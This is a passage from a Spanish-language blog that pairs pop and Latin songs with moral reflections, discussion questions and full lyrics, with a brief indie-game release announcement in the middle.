    Lo que a los dos nos iba a pasar 
    (Yo sé que tu también sientes lo mismo) 

    Esta es mi forma de decirte hoy 
    Que donde tú me digas voy 

    Hay un lugar tan especial (tan especial) 
    En donde yo contigo quisiera estar 
    Ese lugar tan especial 
    Donde si quieres nos besamos 
    Y me voy enamorando 

    Me voy enamorando ohhhh ouhooo 
    Me voy enamorando ohhhh ouhooo 
    Me voy, me voy enamorando ohhhh ouhooo 
    Yeah, Chino y Nacho 
    Me voy enamorando ohhhh ouhooo 
    Farruko 

    Yo no sé si es el escote en tu espalda 
    O si será lo corta e' tu falda 
    Esas curvas tienen un hook que a mi me atrapa 

    Sobre tus alas yo despego mi vuelo 
    Bailar contigo pegaito yo quiero 
    Tú me llevas en tus brazos hasta el cielo 

    Ese lugar, tan especial 
    Donde yo contigo quisiera estar 

    Ese lugar, tan especial 
    Donde si quieres nos besamos 
    Y me voy enamorando 

    Me voy enamorando ohhhh ouhooo 
    Me voy enamorando ohhhh ouhooo 
    Me voy, me voy enamorando Ohhhh ouhooo 
    Me voy enamorando Ohhhh ouhooo 
    (Nacho) 

    Brutal, brutal 
    Tú me pareces genial 
    Tú tiene' un swing 
    Y un movimiento demasiado animal 
    Tu me provocas un sentimiento de carácter sensual 
    Tú eres una señorita original (wow) 

    Usted por la galaxia me tiene volando 
    Yo siento que las nubes estoy acariciando 
    Y es que de ti me voy enamorando 

    Me voy enamorando ohhhh ouhooo 
    (Enamorando de ti mi amor) 
    Me voy enamorando ohhhh ouhooo 
    (No te separes de mi calor) 
    Me voy enamorando ohhhh ouhooo 
    (Que de mi mundo tú eres el sol) 
    Me voy enamorando ohhhh ouhooo 
    (A donde vayas contigo voy) 

    [Outro] 
    Eey, 
    No te sorprendas estas escuchando a Chino y Nacho 
    Gozando en el estudio junto a los muchachos 
    Motiff, Farruko 
    Chino y Nacho bebe 
    Pa’ que goces tu beba 
    Romántico, si 
    Pero le metemos brutal, brutal 

    Me voy enamorando ohhhh ouhooo 
    (Esto es música pal mundo) 
    Me voy enamorando ohhhh ouhooo 
    (Tu reconoces un hit cuando lo oyes) 
    Chino y Nacho, Farruko

              Ponte las Pilas - América Sierra   
    por Javier Rubio Hípola 

    Experiencia: Una canción pop-ranchera sobre la justicia del esperar. 


    Vídeo Musical: En espera.

    Significado de Ponte las pilas: Las rancheras son un estilo musical muy local de México, cada vez más popular en los países colindantes. Su temática es normalmente un aspecto de un amor desajustado, una historia de un amor frustrado o una traición pura y simple. En este caso América Sierra invita al recipiente de su amor que se "ponga las pilas" porque la vida es corta y no está dispuesta a esperar para siempre. Un sentimiento completamente válido que nos invita a hacer una doble reflexión: sobre el valor del tiempo en nuestras vidas y sobre la perseverancia en el amor.

    Pregúntate: ¿Qué te dice el ritmo -entre festivo y melancólico- de este tipo de canciones? Sobre el tiempo, ¿te has parado a pensar lo corta que es la vida? ¿Has pensado alguna vez que las mayores auto-recriminaciones son no por cosas que hemos hecho mal sino por cosas buenas que no nos atrevimos a hacer?  

    LETRA:
    Decide pronto si me quieres o no 
    No la hagas de emoción 
    Un día me dices que no vives sin mí 
    Y otros soy de lo peor 
    Pasas peleando por tonterías 
    Y tantas broncas yo no las tenía 
    Decide pronto que otros esperan mi compañía 

    No vayas a pensar 
    Que siempre voy a estar apartando tu lugar 
    Cuando hay tantos amores que me quieren 
    Que me buscan 
    Y se mueren por un beso de mi boca 
    Son capaces de matar 

    No vayas a pensar 
    Que soy muy presumida pero esa es la verdad 
    Cuando hay otros amores que me quieren 
    Que me buscan 
    Y se mueren con un beso de mi boca 
    Son capaces de volar 

    Tú chiquitito estás confundido y 
    No van conmigo las hipocresías 
    Ponte las pilas que otros esperan mi compañía 

    Póngase al tiro mijo, porque le comen el mandado 
    América Sierra 
    Ponte las pilas que no te espero toda la vida

              La última cena - Efecto Mariposa   
    por Javier Rubio Hípola 

    Experiencia: La vida se nos va... Estamos de amor hambrientos. Dos versos hacia el final de la canción que definen la vida del hombre en esta tierra.  


    Vídeo Musical: En espera.

    Significado de La última cena: Se trata de una canción que conjuga el optimismo de una vida creada para abrirse al amor, para enfrentarse a cosas grandes (si pudiera..., si tuviera el valor...). Pero parece que termina venciendo un pesimismo impuesto por la velocidad del paso de la vida, por la mediocridad que nos impide dar ese último paso. A fin de cuentas parece que estamos perdiendo el tiempo

    Parece que a Efecto Mariposa se le olvidó terminar la analogía: la Última Cena de Cristo fue, ciertamente, la antesala de su muerte y la despedida ante su fracaso final. Pero, como Él, los hombres no hemos sido llamados a encontrar la felicidad en esta vida, sólo a buscarla. Y eso nos tiene que llenar siempre de esperanza.

    Pregúntate: ¿Has pensado alguna vez en el paso del tiempo? ¿Cuántos años llevas de vida? ¿Cuántos años te quedan? ¿A qué has dedicado todo ese tiempo? ¿Has encontrado la felicidad? ¿La has llegado a tocar al menos por un instante? ¿Qué vas a hacer con el tiempo que te queda? 

    LETRA:
    Miradas vacías, palabras sin texto 
    Romántica cena en el mismo lugar 
    La noche se ríe, los bares abiertos 
    Brindemos por lo que ya nunca será 

    Si pudieras mirarme como hacías ayer 
    Quisiera decirte que todo va bien 
    Pero sabes que no es cierto 
    Ya no valen los intentos 

    Si pudiera alcanzarte 
    Si tuviera el valor 
    Si pudiera ser lo que no soy 
    Para qué vamos a hablar 
    Si está todo dicho ya 

    Es otra noche mas para mí 
    Para ti es una menos 
    Estamos los dos tan lejos 
    Ya no queda nada que decir 
    Dos extraños en silencio 
    Estamos perdiendo el tiempo 

    En la calle la fiesta, la noche perfecta 
    Miramos lo que no podemos tocar 
    En un mundo aparte, los dos tan distantes 
    La vida que pasa detrás del cristal 

    Si pudiera alcanzarte 
    Si tuviera el valor 
    Si pudiera ser lo que no soy 
    Para qué vamos a hablar si está todo dicho ya 

    Es otra noche mas para mí, para ti es una menos 
    Estamos los dos tan lejos 
    Ya no queda nada que decir 
    Dos extraños en silencio 
    Estamos perdiendo el tiempo 

    No hay nada que decir 
    La vida se nos va 
    Queriendo que sea lo que nunca será 
    Tan sólo para mí es una noche mas 
    Estamos perdiendo el tiempo 
    No tenemos 

    Si dijera que no hay nada que decir me darías la razón 
    Ya no somos nosotros, sólo somos tú y yo 
    Si pudiéramos vivir de espaldas al dolor 
    ¿Para qué? 

    Si es otra noche mas para mí 
    Para ti es una menos 
    Estamos los dos tan lejos 
    Ya no queda nada que decir 
    Dos extraños en silencio 
    Estamos perdiendo el tiempo 

    No hay nada que decir 
    La vida se nos va 
    Queriendo que sea lo que nunca será 
    Tan sólo para mí es una noche mas 
    Estamos de amor hambrientos.

              Run Away With Me - Carly Rae Jepsen   

    Experiencia: Este nuevo sencillo de Carly Rae Jepsen (de un concierto en Pekín) nos muestra lo que su álbum Emotion nos va a ofrecer: con su voz juvenil nos invita a que escapemos, a que nos refugiemos de los golpes de la vida en los sentimientos. 

    Vídeo Musical: En espera. 

    Significado de Run Away With Me (Escapa conmigo) se trata, en realidad, de esconderte en tus emociones. No es una canción de amor, sino una canción sobre el sentimiento del amor, que es distinto. El amor tiene una intensidad y un compromiso del que Carly Rae escapa en esta canción. El sustituto fácil: una emoción fuerte, que me haga olvidar lo que me falta. El problema de este camino son las preguntas que quedan sin responder: esto que tenemos, ¿va a durar o es cosa de una noche? ¿Busca experimentar el amor de verdad o sólo sentirse bien? La conclusión -bastante vaga- de la canción parece ser: por favor, no te lo pienses mucho... simplemente escapa de todo... escóndete en ese sentimiento.

    Pregúntate: ¿Te parece que el sentimiento basta o es necesario algo más? ¿Y es indispensable "sentir" algo para decir que amamos? ¿En qué consiste ese sentimiento? ¿Dejo que los sentimientos sean los dictadores de mi vida? ¿O dejo que sean mi inteligencia y mi voluntad las que lleven las riendas?

    LETRA (en español):

    Cariño, Ooo, cariñol
    Guíame a ese sentimiento
    Seré tu pecadora en secreto,
    cuando se apaguen las luces.
    Escápate conmigo
    escápate conmigo

    Cariño, cada minuto
    seré tu héroe y vencedora,
    cuando se apaguen las luces
    Escápate conmigo
    escápate conmigo

    Y ahora tú estás...
    a través del aguanieve, a través del granizo...
    Me acompañas.
    Quiero decir, quiero decirte,
    porque me haces sentirme
    podría estar conduciéndote toda la noche
    encontraré tus besos a la luz de las farolas.
    Quiero estar ahí contigo... ooo

    Cariño, Ooo, cariñol
    Guíame a ese sentimiento
    Seré tu pecadora en secreto,
    cuando se apaguen las luces.
    Escápate conmigo
    escápate conmigo

    Cariño, cada minuto
    seré tu héroe y vencedora,
    cuando se apaguen las luces
    Escápate conmigo
    escápate conmigo

    Encontrémonos el fin de semana
    Podemos darle la vuelta al mundo, ooo

    No sé a dónde ir

    Escápate conmigo
    escápate conmigo

    ...
    Escápate conmigo
    escápate conmigo

    No sé a dónde ir

    Encontrémonos el fin de semana
    Podemos darle la vuelta al mundo, ooo

    Cariño, Ooo, cariñol
    Guíame a ese sentimiento
    Seré tu pecadora en secreto,
    cuando se apaguen las luces.
    Escápate conmigo
    escápate conmigo

    Cariño, cada minuto
    seré tu héroe y vencedora,
    cuando se apaguen las luces
    Escápate conmigo
    escápate conmigo

    Ooo...
    escápate conmigo


    LYRICS:
    Baby, Oh, baby
    Take me to that feeling
    I’ll be your sinner in secret
    When the lights go out
    Run away with me
    Run away with me

    Baby, every single minute
    I'll be your hero and winner
    when the lights go out
    Run away with me
    Run away with me

    And now you are...
    Through the sleet, through the hail...
    You are with me
    I wanna say, I wanna say to you
    'Cause you make me feel like
    I could be driving you all night
    I'll find your lips in the streetlight
    I want to be there with you, oh

    Baby, Oh, baby
    Take me to that feeling
    I’ll be your sinner in secret
    When the lights go out
    Run away with me
    Run away with me

    Baby, every single minute
    I'll be your hero and winner
    When the lights go out
    Run away with me
    Run away with me

    Meet me on the weekend
    We can turn the world around, oh

    Don't know where to go
    Run away with me
    Run away with me

    ...
    Run away with me
    Run away with me

    Don't know where to go

    Meet me on the weekend
    we can turn the world around, oh

    Baby, Oh, baby
    Take me to that feeling
    I’ll be your sinner in secret
    When the lights go out
    Run away with me
    Run away with me

    Baby, every single minute
    I'll be your hero and winner
    when the lights go out
    Run away with me
    Run away with me

    Oh...
    Run away with me


              Cuando Me Siento Bien - Efecto Pasillo   
    http://www.lastfm.it/
    por Javier Rubio Hípola 

    Experiencia: Qué suerte tenerte. En un mundo en el que parecen gobernar el pesimismo y el principio de sexo por el sexo, Efecto Pasillo nos ofrece un toque de genuino optimismo latino: la vida tiene mucho más sabor si conseguimos que tiemble el universo.  


    Vídeo Musical: Tomas del grupo cantando en una playa al amanecer junto con algunas tomas de jóvenes disfrutando a las orillas del mar. Un vídeo muy festivo y bastante veraniego, aunque en la letra se acentúa metafóricamente que estamos en primavera.

    Significado de Cuando me siento bien: Una de las grandes posibilidades del hombre es la capacidad de darle a todo en la vida un significado más, un motivo trascendente, un sentido. Eso es la base de la poesía y del arte en general. Efecto Pasillo nos propone en esta canción que tomemos las pequeñas y grandes cosas de nuestra vida (desde la tortilla del principio hasta el amor que permea toda la canción)... y que las demos un nuevo sentido.
    Fascinante la referencia -hacia el final- de la canción de "David el Gnomo" de nuestra infancia: Hoy deseo ser veinte veces más fuerte que tú y veloz. Yo siempre estoy de buen humor...

    Pregúntate: ¿Has hecho alguna vez el ejercicio de buscar un significado a los eventos en tu vida? En base a ello: ¿crees que existe una Providencia o que la vida se desenvuelve por azar o por un destino ciego? ¿Te gustaría vivir en un mundo en el que hasta el detalle más pequeño tiene un sentido que va más allá? ¿Por qué sí o por qué no? 

    LETRA:
    Cuando me siento bien la sarten no se pega, 
    Me sale la tortilla redondita, perfecta. 
    El frío es una escusa pa' abrazarte más, 
    Si la casa esta muy sucia nos vamos a un hostal. 

    Me siento bien, la música me inspira. 
    Merengue, bachata y tu voz de dormida. 
    Con cuatro palabras te hago una poesía, 
    Enciendo la noche y alargo los días. 

    Soy capaz de leerte la mente, 
    Arreglar los problemas de toda la gente. 
    Voy cantando las vueltas del mundo, 
    En solo un segundo le prendo la luz al sol. 

    Te doy mi sonrisa y te cambia la vida, 
    Hoy tu lotería voy a ser yo. 
    Voy a ser yo... 

    Qué suerte tenerte cuando amanece y me dices te quiero. 
    Quererte tan fuerte que tiemble de emoción el universo. 
    Uuuuh... uuuuh.... 

    Cuando me siento bien aparco donde sea, 
    Pinto los semáforos de verde siempre 
    Regalando suerte pa' que tengas un gran día. 
    Yo soy licenciado en amor y alegría. 

    Me siento bien, me huele a primavera, 
    Menta cilantro y tu piel de canela. 
    Todo lo bonito que hay en una vida entera 
    Ya te lo consigo pa' que tú me quieras. 

    Soy capaz de leerte la mente, 
    Arreglar los problemas de toda la gente. 
    Voy cantando las vueltas del mundo, 
    En solo un segundo le prendo la luz al sol. 

    Te doy mi sonrisa y te cambia la vida, 
    Hoy tu lotería voy a ser yo. 
    Voy a ser yo... 

    Qué suerte tenerte cuando amanece y me sigues el juego. 
    Quererte tan fuerte que tiemble de emoción el universo. 
    Uuuuh... uuuuh.... 

    Eh, eh, eeh 
    Puedo volar, desaparecer, 
    Colarme en tus sueños, cantar y cocer. 
    Abracadabra, me ves, no me ves. Un genio sin lámpara. 
    Hoy deseo ser veinte veces más fuerte que tú y veloz. 
    Yo siempre estoy de buen humor. 

    Soy capaz de leerte la mente, 
    Arreglar los problemas de toda la gente. 
    Voy 

    (Instrumental) 

    Qué suerte tenerte cuando amanece y me dices te quiero. 
    Quererte tan fuerte que tiemble de emoción el universo. 

    Qué suerte tenerte cuando amanece y me sigues el juego. 
    Quererte tan fuerte que tiemble de emoción el universo.

              Powerful - Major Lazer ft. Ellie Goulding & Tarrus Riley   

    Experiencia: Una canción en la que se mezclan el pop un poco dulzón de Ellie Goulding y el reggae de Tarrus Riley sobre el electro beat de Major Lazer. El resultado merece la pena.  

    Vídeo Musical: En espera. 

    Significado de Powerful (Poderoso): Nos sentimos abrumados por el poder del amor genuino. Las metáforas que describen el amor en esta canción tienen que ver con fuego, electricidad, elevación, infinito. Todos lo hemos experimentado.
    ¿Qué puede significar este poder? Ciertamente algunos versos dejan bastante claro que lo que tenemos en mente es, sobre todo el sexo. Pero creo que podemos ir más allá del aspecto meramente físico. Hay un poder real detrás del espejismo de la fuerza del sexo. Y es este poder "detrás del poder" lo que nos impulsa a buscar la altura, lo infinito, necesidad de algo más o de Alguien más que dé sentido a todo.

    Pregúntate: ¿Crees que esta letra se refiere sólo al sexo o a algo más? ¿A qué? ¿Cómo ves tú el amor? ¿Cómo lo ves reflejado en tu vida? ¿Te basta con tener algo de sexo de vez en cuando o buscas algo más? ¿Por qué? 

    LETRA en español:
    [Ellie Goulding]
    Oh vaya, vaya, vaya, lo que tú despiertas en mí
    Como un relámpago cuando nado en el mar
    desde el primer momento en que nos amamos
    desde el primer momento en que nos tocamos
    caminando en cables de electricidad.
    Pones tu cuerpo sobre el mío,
    cada vez que me levantas,
    hacia los cielos y las estrellas

    [Chorus: Tarrus Riley] x2
    Una energía surge
    Cuando me abrazas
    Cuando me tocas
    Es tan poderosa
    Puedo sentirla
    Cuando me abrazas
    Cuando me tocas
    Es tan poderosa

    [Verse: Ellie Goulding]
    No podría irme si quisiera
    Porque hay algo que no me deja apartarme de ti
    Desde la primera vez que nos amamos
    Desde la primera vez que nos tocamos
    El contacto de tus dedos
    El perfume de tu persistir
    Mi cabeza corriendo desenfrenadamente
    Con recuerdos de tu sonrisa
    Oh, vas a tener que darme un poco
    Podrías dármelo todo, pero nunca es suficiente, no

    [Chorus: Tarrus Riley] x2

    [Verse: Ellie Goulding]
    Tómame entre tus brazos
    Arde como fuego, electricidad
    Cuando tú estás cerca siento las chispas
    Esto me lleva alto, al infinito.



    LYRICS:
    [Ellie Goulding]
    Oh my my my, what you do to me
    Like lighting when I'm swimming in the sea
    From the very first time we loved
    From the very first time we touched
    Walking on wires and power lines
    You put your body on top of mine
    Every time that you lift me up
    To the heavens and stars above

    [Tarrus Riley]
    Oh Lord, have mercy
    I'm begging you, please
    I'm feeling drained
    I need love
    You charge me up
    Like electricity
    Jumpstart my heart
    With your love

    [Tarrus Riley & Ellie Goulding:]
    There's an energy
    When you hold me
    When you touch me
    It's so powerful
    I can feel it
    When you hold me
    When you touch me
    It's so powerful

    [Ellie Goulding]
    I couldn't leave even if I wanted to
    Cause something keeps pulling me back to you
    From the very first time we loved
    From the very first time we touched
    The stroke of your fingers
    The scent of your lingers
    My mind roaming wild
    The thoughts of your smile
    Oh, you gotta give me some
    Or you can give it all
    But it’s never enough, no

    [Tarrus Riley & Ellie Goulding:]
    There's an energy
    When you hold me
    When you touch me
    It's so powerful
    I can feel it
    When you hold me
    When you touch me
    It's so powerful

    [Ellie Goulding]
    Hold me in your arms
    Burns like a fire
    Electricity
    When you’re close I feel the sparks
    Takes me higher to infinity


              G.D.F.R. - Flo Rida (ft. Sage The Gemini & Lookas)   


    www.lastfm.de

    Experiencia: Un rap/dance bastante pegajoso de Flo Rida y compañía que vuelve a mostrar la imagen predominante de la mujer en el mundo de la música. ¿Es este un estándar socialmente sano?


    Vídeo Musical: Una especie de baile/espectáculo/partido que mezcla el baloncesto con un free style (estilo libre) al ritmo de la canción. A pesar de las patentes habilidades deportivas del equipo de chicas, el partido no parece importarle mucho a los presuntos entrenadores (Flo Rida y Sage). Los raperos insisten en exprimir el atractivo físico de sus deportistas para el disfrute de los espectadores.  


    Significado: Las siglas de la canción GDFR (Going Down for Real- Bajando de verdad) revelan -detrás de su pantente connotación sexual- la visión profundamente distorsionada de la relación hombre-mujer que predomina en una sociedad en la que la literatura de pornografía sádica es garantía de éxito en ventas. Se trata de un escenario en el que todo queda reducido a la animalidad del hombre y a la instrumentalización de la mujer. Ciertamente hay artistas que proponen una perspectiva más espiritual, más humana, del amor que supera las fronteras del puro sexo. Pero canciones como GDFR tendrán siempre más "likes" en Youtube.

    Pregúntate: ¿Para ti cuáles son los criterios fundamentales de conducta de un hombre para con una mujer en una relación de amistad-amor? ¿Crees que la imagen presentada por Flo-Rida puede afectar a la sociedad y a la familia? ¿Cómo?



    LETRA (en español):

    Sé lo que viniste a ver aquí
    Si eres un fenómeno,
    entonces vienes a casa conmigo
    Y sé lo que viniste a hacer aquí
    Ahora ábrelo y déjame verte sacurdirlo
    Lo está haciendo en serio
    Lo está haciendo en serio
    Lo está haciendo en serio

    Chica, acabas de besar a una chica
    Le hago a las bi
    Sacúdete por una sacudida
    Lanzo estos Emirates al cielo
    Girando este trasero de salame
    Saludos al D.I.N.E.R.O
    Amo mis playas, playas del sur
    Surfboard y olas altas
    Podría simplemente descansar
    Porque soy grandioso
    Como pastel de cumpleaños tráeme un cobra
    Bugatti de verdad, soy frío
    Ese Rover autobiográfico
    Tengo la llave para mi ciudad
    No son putas, solo Anna Kournikova
    Dije raquetas, trinquetes sostenidos
    (Dije raquetas, trinquetes sostenidos)

    Sé lo que viniste a ver aquí
    Si eres un fenómeno,
    entonces vienes a casa conmigo
    Y sé lo que viniste a hacer aquí
    Ahora ábrelo y déjame verte sacurdirlo
    Lo está haciendo en serio
    Lo está haciendo en serio
    Y ya me conocen
    Lo está haciendo en serio

    Está yendo más abajo que el fémur
    Chicas más húmedas que el Katrina
    Nunca has visto a mi chica
    Porque mi limusina está polarizada
    Mi toque es el de Midas
    Te bajamos de más a menos
    Mi equipo aspirando ese golpe
    Te hace toser, cof-cof, eso es bronquitis
    Levanta tus manos
    Es un asalto, no más maquillaje
    Pon ese trasero en el suelo
    Chicas, pónganse lápiz labial
    Doble sentido, doble sentido
    Mientras tú odias yo gano dinero
    Luego duplico en músculos

    Sé lo que viniste a ver aquí
    Si eres un fenómeno,
    entonces vienes a casa conmigo
    Y sé lo que viniste a hacer aquí
    Ahora ábrelo y déjame verte sacurdirlo
    Lo está haciendo en serio
    Lo está haciendo en serio
    Lo está haciendo en serio
    Lo está haciendo en serio
    Lo está haciendo en serio

    Levántalo, hazlo caer, sacúdelo, sácalo
    Levántalo, hazlo caer, sacúdelo, sácalo
    Levántalo, hazlo caer, sacúdelo, sácalo
    Levántalo, hazlo caer, sacúdelo

    Lo está haciendo en serio
    Lo está haciendo en serio
    Lo está haciendo en serio
    Lo está haciendo en serio
    Lo está haciendo en serio




    LYRICS:

    (Sage the Gemini)
    I know what you came here to see
    If you're a freak, then ya coming home with me
    And I know what you came here to do
    Now bust it open let me see you get loose
    It's going down for real
    It's going down for real
    It's going down for real

    (Flo Rida)

    Your girl just kissed a girl
    I do bi chicks
    Shake for a sheik
    I'm throwing these Emirates in the sky
    Spinning this As-salamu alaykum
    Peace to M.O.N.E.Y
    I love my beaches, south beaches
    Surfboard and high tide
    I could just roll up
    Cause I'm swoll up
    So that birthday cake get a cobra
    Buggati for real, I'm cold bruh
    That auto-biography rover
    Got the key to my city it's over
    It's no thots, only Anna Kournikova's
    I said rackets, ratchets hold up
    (I said rackets, ratchets hold up)

    (Sage the Gemini)

    I know what you came here to see
    If you're a freak, then ya coming home with me
    And I know what you came here to do
    Now bust it open let me see you get loose
    It's going down for real
    It's going down for real
    And they already know me
    It's going down for real

    (Sage the Gemini)

    And they already know me
    It's going down further than femurs
    Girls get wetter than Katrina
    Yeah my girl you never seen her
    Cause my tints by limousines
    My touch is the Midas
    We de-plus your man to minus
    My team blowing on that slam
    Make you cough-cough that's Bronchitis
    Put your hands up
    It's a stick up, no more makeup
    Get that ass on the floor
    Ladies put your lipstick up
    Double entendre, double entendre
    While you're hating I get money
    Then I double up tonkers

    (Sage the Gemini)

    I know what you came here to see
    If you're a freak, then ya coming home with me
    And I know what you came here to do
    Now bust it open let me see you get loose
    It's going down for real
    It's going down for real
    It's going down for real
    It's going down for real
    It's going down for real

    (Flo Rida)

    Lift it, drop it, shake it, pop it
    Lift it, drop it, shake it, pop it
    Lift it, drop it, shake it, pop it
    Lift it, drop it, shake it

    (Sage the Gemini)

    It's going down for real
    It's going down for real
    It's going down for real
    It's going down for real
    It's going down for real


              MagneBot Released!   
    Finally!! MagneBot is here!!

    My first steps in Indie Game development :D

    It's a really simple game (simple as in simplicity), but difficult to play to test your reaction skills!


    You can get it from:

    "Join MagneBot on this crazy surfing experience through the space station!

    What is at the end of the tunnel in this space station?
    No one knows, but you can be sure that MagneBot is going to try to find out!!

    Help MagneBot collect as much power as you can, but be careful, nothing is as easy as it looks.
    Also... Why is MagneBot in his underwear? Dude, get some pants!"









                Capitán Tapón - Alejandro Sanz   
      por Javier Rubio Hípola 

      Experiencia: Recientemente en mi pecho ya no me cabe casi de nada... Disfruto de cada segundo suyo. Me reta porque sabe que va a ganarmeYo te quiero a muerte Capitán Tapón...
      Vídeo Oficial: En espera.

      Siginficado de Capitán Tapón: Sencillo promocional de Alejandro Sanz para su nuevo album, Sirope. "En esta nueva canción se adentra en el mundo infantil con la voz de un niño en la playa y la divertida historia del Capitan Tapón, y transcurre entre risas y juegos y acaba en nuevas sonrisitas provocadas por un reconocible sonido aéreo final" (Cf. Pixxi).

      El tema es claro: el compositor conduce sus metáforas al territorio del amor paternal, en el que se produce la paradoja del adulto que es conquistado completamente por el amor del pequeño: te cortas tú y soy yo quien sangra. Como en tantas canciones de Alejandro Sanz conviene repasar, imagen por imagen, la riqueza de matices de este nuevo tema.  

      Pregúntate: ¿Cuál es tu relación con tus padres/hijos? ¿Coincide con los sentimientos de los que habla esta composición? ¿Podrías tú añadir algún matiz que se le haya podido escapar a Alejandro Sanz?


      LETRA:

      Recientemente en mi casa vive un tipo que manda 
      Que me corrige y me ordena y me torea pero me da un abrazo y me gana 
      Me quita el partido y me pone una esponja que vive bajo el agua 
      Se sienta en mi sillón, dibuja en el colchón 

      Efectivamente vivo con la divina adivinanza 
      Disfruto de cada segundo suyo 
      Me reta porque sabe que va a ganarme 

      Mientras que sigue creciendo 
      Verle correr me da miedo 
      Y es que es tan tierno el matador 
      Me hace reír, por qué serio 
      Diminuto caballero 
      Esto no lo sabes pero... 

      Le querrás igual que yo hoy te quiero yo 
      (Capitán Tapón) 
      Yo te quiero a muerte Capitán Tapón 

      Qué sabes tú lo que es amor 
      Qué sabes tú mi Robinson 
      Te cortas y yo soy quien sangra 
      Yo soy tu esponja bajo el agua 

      Recientemente en mi pecho ya no me cabe casi de nada 
      Recientemente la energía todo lo llena y todo lo empapa en casa 
      Camina como un leoncito reinando en la sabana 
      Le gusta hacerte un guiño y mojar pan en la salsa 

      Efectivamente vivo con la mismísima adivinanza 
      Disfruto de cada segundo suyo 
      Me reta porque sabe que va a ganarme 

      Mientras que sigue creyendo 
      Verle crecer me da miedo 
      Pero es que es tan tierno el matador 
      Me hace reír, por qué serio 
      Diminuto caballero 
      Con tus ricitos de sansón 
      (Capitán Tapón) 

      Qué sabes tú lo que es amor 
      Qué sabes tú mi Robinson 
      Te cortas y yo soy quien sangra 
      Yo soy tu esponja bajo el agua 

      No me importa lo que digan sobre ti los informes y reportes 
      Yo ya te conozco a ti muy bien, en mi buzón me sobran sobres 
      Tiene la belleza de seguro en mitad de tanto torpe 
      Escúchame, soy tu amigo, mientras estés estaré 

      Qué sabes tú lo que es amor 
      Qué sabes tú mi Robinson 
      Te cortas y yo soy quien sangra 

      Yo soy tu esponja bajo el agua

                El Perdón - Nicky Jam ft. Enrique Iglesias   
      http://www.lastfm.it/music/Nicky+Jam/+imagespor Javier Rubio Hípola 

      Experiencia: Lo único que importa está en tu corazón. Nicky Jam expresa la experiencia de un hombre que se cree insuficiente. Y por eso pide perdón... Pero vale la pena luchar por lo que uno quiere. 
      Vídeo Oficial: En un barrio pobre de una ciudad de latinoamérica, Nicky Jam y Enrique Iglesias aparecen paseando, absortos en su memoria y en su reflexión, con imágenes cortas pero intensas de la mujer de sus amores. Tan distraídos están que no parecen darse cuenta de cómo a su alrededor cae la noche y con ella, aparece de nuevo la mujer, envuelta en un ambiente onírico, como si no fuera más que un sueño .

      Siginficado de El Perdón: Es una canción que demuestra que el género no condiciona irrevocablemente el tema. Un reggae puede también tratar un tema noble con cierta profundidad. Y Nicky toca esa profundidad en esta canción. El tema del perdón en el amor no es muy habitual, pero tampoco original del todo. Sí es original el motivo por el que se pide perdón: no es por una traición, por algo que se ha hecho para dañar a la persona amada. Nicky pide perdón por no estar a la altura, por sentirse insuficiente... Pero al final de la canción supera la autocrítica con un valiente: pero vale la pena luchar por lo que uno quiere.  

      Pregúntate: ¿Te parece correcta la valoración que Nicky Jam se hace de sí mismo? ¿Crees que se deben cumplir una serie de "requisitos mínimos" para poder ser parte de una relación? Si es así, ¿cuáles son esos requisitos? ¿Cómo se refleja esto en tu vida? 


      LETRA:

      [Enrique Iglesias] 
      Dime si es verdad... 
      Me dijeron que te estas casando 
      Tú no sabes lo que estoy sufriendo 
      Esto te lo tengo que decir 

      [Nicky Jam] 
      Cuéntame 
      Tu despedida para mi fue dura 
      Será que te llevo a la luna 
      Y yo no supe hacerlo así 

      [Enrique Iglesias] 
      Te estaba buscando 
      Por las calles gritando 
      Eso me está matando oh no 

      [Nicky Jam] 
      Te estaba buscando 
      Por las calles gritando 
      Como un loco tomando oh... 

      [Enrique Iglesias] 
      Es que yo sin ti 
      Y tu sin mi 
      Dime quién puede ser feliz 
      Esto no me gusta 
      Esto no me gusta 

      [Nicky Jam] 
      Es que yo sin ti 
      Y tu sin mi 
      Dime quién puede ser feliz 
      Esto no me gusta 
      Esto no me gusta 

      [Enrique Iglesias] 
      Y yo sin ti 
      No aguanto más 
      Por eso vengo a decirte lo que siento 
      Estoy sufriendo en la soledad 

      [Nicky Jam] 
      Y aunque tu padre no aprobó esta relación 
      Yo sigo insistiendo a pedir perdón 
      Lo único que importa está en tu corazón 

      [Enrique Iglesias] 
      Te estaba buscando 
      Por las calles gritando 
      Esto me esta matando oh no 

      [Nicky Jam] 
      Te estaba buscando 
      Por las calles gritando 
      Como un loco tomando oh... 

      [Enrique Iglesias] 
      Es que yo sin ti 
      Y tu sin mi 
      Dime quién puede ser feliz 
      Esto no me gusta 
      Esto no me gusta 

      [Nicky Jam] 
      Es que yo sin ti 
      Y tu sin mi 
      Dime quién puede ser feliz 
      Esto no me gusta 
      Esto no me gusta 

      [Enrique Iglesias] 
      Yo te juré a ti eterno amor 
      Y ahora otro te da calor 
      Cuando en las noches tienes frío oh oh 

      [Nicky Jam] 
      Yo se que él te parece mejor 
      Pero yo estoy en tu corazón 
      Y por eso pido perdón 

      [Enrique Iglesias] 
      Es que yo sin ti 
      Y tu sin mi 
      Dime quién puede ser feliz 
      Esto no me gusta 
      Esto no me gusta 

      [Nicky Jam] 
      Es que yo sin ti 
      Y tu sin mi 
      Dime quién puede ser feliz 
      Esto no me gusta oh yeah... 

      Dicen que uno no sabe lo que tiene 
      Hasta que lo pierde, pero... 
      Vale la pena luchar por lo que uno quiere 
      Y hacer el intento 

      N.I.C.K 
      Nicky Jam 
      Enrique Iglesias 
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                Te Doy Media Noche - Andrés Suárez   
      por Javier Rubio Hípola 

      Experiencia: Y duermo con una foto tuya y ahí no dices que no. Ahí dices "cántame" y te hice esta canción. Andrés Suárez presenta su experiencia de un amor que tiene mucho de imaginario... pero que parece tan real.

      Vídeo Oficial: Vídeo con la letra (esperamos el vídeo oficial).

      Siginficado de Te doy medio noche: Es la canción de un amor no correspondido. Un amor en el que "tu sonrisa es la más bella cara al mar, pero me hablas de sequía". Andrés Suárez, de alguna forma, reta al mundo a que le diga que "esto no es amor". Sin embargo el amor que tiene sólo un lado es cojo: parte de la esencia de un amor entero es el ser correspondido, aparece entonces en interrogante: ¿en qué consiste ese sentimiento del enamorado no correspondido? Es un sufrimiento que tiene una fuerte connotación de sufrimiento (patente en el tono de la canción). ¿Es redimible? ¿Puede, cuando menos, tener algún valor para el que lo experimenta?  

      Pregúntate: ¿Qué gana una persona en una relación de amor no correspondido? ¿Qué valor puede tener para su propia vida? ¿Te ha pasado? Si es así, ¿qué sentido le das en el contexto de tu historia personal? 


      LETRA:

      No he venido a recordarte tu belleza 
